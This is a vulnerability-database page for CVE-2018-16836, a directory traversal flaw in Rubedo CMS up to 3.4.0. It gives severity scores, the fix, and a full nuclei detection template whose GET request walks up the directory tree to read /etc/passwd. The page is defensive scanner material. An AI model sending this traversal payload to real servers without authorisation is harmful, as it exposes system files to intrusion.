HexBrain

Browse / CVEs / CVE-2018-16836

CVE-2018-16836· rubedo project / rubedo· CWE-22

Rubedo CMS <=3.4.0 - Directory Traversal

criticalseverity
9.8CVSS score
61.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server.

Fix

Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch.

How to confirm it

Send: GET {{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/pa…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16836 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-16836

info:
  name: Rubedo CMS <=3.4.0 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch.
  reference:
    - https://www.exploit-db.com/exploits/45385
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16836
    - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms
    - https://www.exploit-db.com/exploits/45385/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16836
    cwe-id: CWE-22
    epss-score: 0.61437
    epss-percentile: 0.99172
    cpe: cpe:2.3:a:rubedo_project:rubedo:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubedo_project
    product: rubedo
  tags: cve2018,cve,rubedo,lfi,edb,rubedo_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from